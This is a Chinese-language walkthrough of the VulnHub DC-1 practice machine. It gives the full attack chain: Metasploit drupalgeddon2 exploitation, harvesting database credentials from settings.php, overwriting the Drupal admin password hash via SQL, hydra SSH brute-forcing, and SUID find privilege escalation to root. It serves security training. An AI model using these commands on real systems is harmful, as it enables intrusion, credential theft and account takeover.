一. 环境搭建

1.1、DC-1靶场机

官网下载 https://download.vulnhub.com/dc/DC-1.zip

1.2、安装过程

解压后得到个.ova文件

Image

进入Vm打开,然后等待导入完毕。

然后再更改kali的网络连接模式为桥接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机,当然也可以设置为net,但必须DC-1靶机也设为net。

二. 渗透过程

2.1、信息收集

①探测目标IP地址

探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover

arp-scan -l

该命令是探测当前网段的所有存活主机的IP地址

可以看到当前网段内存活的主机IP为192.168.228.132

Image

可以用nmap去探测一下该IP开了什么端口。

Image

可以看到这个ip开了80端口,我们可以直接浏览器访问这个Ip地址。

利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal

Image

当然也可以用kali自带的工具whatweb扫

1
whatweb -v 192.168.228.132

Image

经过信息收集之后我们可以得到如下信息

1
2
3
4
CMS是Drupal
Apache 2.2.22
PHP 5.4.45
jQuery 1.4.4

2.2、漏洞查找与利用

知道cms,我们一般从cms出发找漏洞,百度一下drupal漏洞

这是一个框架漏洞,我们可以用kali自带的工具Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一),找一下漏洞。

Image

先打开工具

1
msfconsole

Image

用search命令去搜索我们要渗透的网站框架

1
search Drupal

Image

可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,我们选择2018年的那个漏洞

使用use命令 + 漏洞名称,指定我们要利用的漏洞

1
use exploit/unix/webapp/drupal_drupalgeddon2

Image

接着看一下该漏洞模块参数

1
show options

Image

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set。

1
set 192.168.228.132

Image

设置完参数之后就可以run了

出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell

Image

三. Getshell

3.1、获取普通shell

shell

获取一下普通的shell,然后执行ls命令

Image

3.2、获取交互shell

这样看起来有点不习惯,不过我们可以利用python实现互交shell,这样就好看一点。

1
python -c 'import pty; pty.spawn("/bin/bash")'

然后查看flag1.txt

Image

每个好的CMS都需要一个配置文件,你也一样。这个先放着,看看还有没有其他flag文件

1
find / -name flag*

Image

就只有这一个flag文件,上面的flag说每个cms都需要一个好的配置文件,我们去搜一下Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行

1
cat `find / -name settings.php`

Image

在这里我们得到了数据库用户名和密码,直接连接数据库

1
2
3
mysql -udbuser -pR0ck3t

show databases;#查看数据库

Image

有一个名为drupaldb的数据库,进入这个数据库看一下,并查看表

1
2
3
use drupaldb;

show tables;

Image

有一张users表,查看一下表的内容

1
select * from users;

Image

加一个admin。

修改admin密码

我们得先找到加密文件,Drupal的加密脚本在

1
/var/www/scripts/password-hash.sh

目录下,先退出mysql,打开加密脚本

1
cat /var/www/scripts/password-hash.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/php
<?php


/**
* Drupal hash script - to generate a hash from a plaintext password
*
* Check for your PHP interpreter - on Windows you'll probably have to
* replace line 1 with
* #!c:/program files/php/php.exe
*
* @param password1 [password2 [password3 ...]]
* Plain-text passwords in quotes (or with spaces backslash escaped).
*/


if (version_compare(PHP_VERSION, "5.2.0", "<")) {
$version = PHP_VERSION;
echo <<<EOF


ERROR: This script requires at least PHP version 5.2.0. You invoked it with
PHP version {$version}.
\n
EOF;
exit;
}


$script = basename(array_shift($_SERVER['argv']));


if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
echo <<<EOF


Generate Drupal password hashes from the shell.


Usage: {$script} [OPTIONS] "<plan-text password>"
Example: {$script} "mynewpassword"


All arguments are long options.


--help Print this page.


--root <path>


Set the working directory for the script to the specified path.
To execute this script this has to be the root directory of your
Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
running on Unix). Use surrounding quotation marks on Windows.


"<password1>" ["<password2>" ["<password3>" ...]]


One or more plan-text passwords enclosed by double quotes. The
output hash may be manually entered into the {users}.pass field to
change a password via SQL to a known value.


To run this script without the --root argument invoke it from the root directory
of your Drupal installation as


./scripts/{$script}
\n
EOF;
exit;
}


$passwords = array();


// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
switch ($param) {
case '--root':
// Change the working directory.
$path = array_shift($_SERVER['argv']);
if (is_dir($path)) {
chdir($path);
}
break;
default:
// Add a password to the list to be processed.
$passwords[] = $param;
break;
}
}


define('DRUPAL_ROOT', getcwd());


include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';


foreach ($passwords as $password) {
print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

看到这里我们可以直接运行这个加密脚本,后面跟上我们的密码明文,他就会给我们输出出来密文。这里我们设置一个密码123456

Image

1
php /var/www/scripts/password-hash.sh 123456

Image

我们把这个密文去数据库里面修改amdin,或者Fred的密码

1
2
3
mysql -udbuser -pR0ck3t

use drupaldb;update users set pass = "$S$DSO2OjMqCiOC0.Qkey6QmlMhSVHY1LOlP9sk3ONvG7t3OyoqiThi" where name = 'admin' or name = 'Fred';

我们可以看到已经修改成我们生成的密码了,这样就可以直接去网站里面登录进去了。

Image

登陆成功

Image

这里有第三个flag3

Image

Image

登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件

/etc/passwd 该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

/etc/shadow 该文件存储了系统用户的密码等信息,只有root权限用户才能读取

接着我们查看一下用户信息

1
cat /etc/passwd

Image

可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码

四.用户密码爆破

事先参考SSH

利用工具Hydra爆破flag4的密码

1
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.228.132

Image

得到密码,orange,然后我们用kali连接

1
ssh flag4@192.168.228.132

连接成功,查看flag

Image

提示我们去root里面找flag

五.Linux提权

需要用到SUID提权,参考 简谈SUID提权 - FreeBuf网络安全行业门户

利用find命令,找查具有SUID权限的可执行二进制文件

1
find / -perm -u=s -type f 2>/dev/null

这个命令的作用是在根目录 / 下查找所有文件,如果文件的用户 ID 位设置为 SUID(SUID 是 setuid 的缩写,表示当该程序运行时将以拥有者的权限运行),则列出它们的文件名。并且将所有标准错误输出到 /dev/null 中,以避免在屏幕上显示不必要的错误信息。

下面是各个参数的解释:

  • find: 命令名,用于在指定的路径下查找文件和目录。
  • /: 查找的路径,本例中是根目录。
  • -perm: 参数选项,用于按照文件权限查找文件。
  • -u=s: 参数选项,用于查找文件的用户 ID 位设置为 SUID(即文件所有者执行时具有其权限)的文件。u 表示用户(user),**=** 表示精确匹配,s 表示设置了 SUID。
  • -type: 参数选项,用于指定要查找的文件类型,f 表示查找普通文件(即不包括目录和链接等其他类型的文件)。
  • 2>/dev/null: 将标准错误输出重定向到 /dev/null 设备,即将错误信息丢弃不予显示。

Image

find比较常用,可以执行root权限的命令找查文件

1
find / -name index.php -exec "/bin/sh" \;

Image

可以看到我们已经是root权限了

Image

拿到最终的flag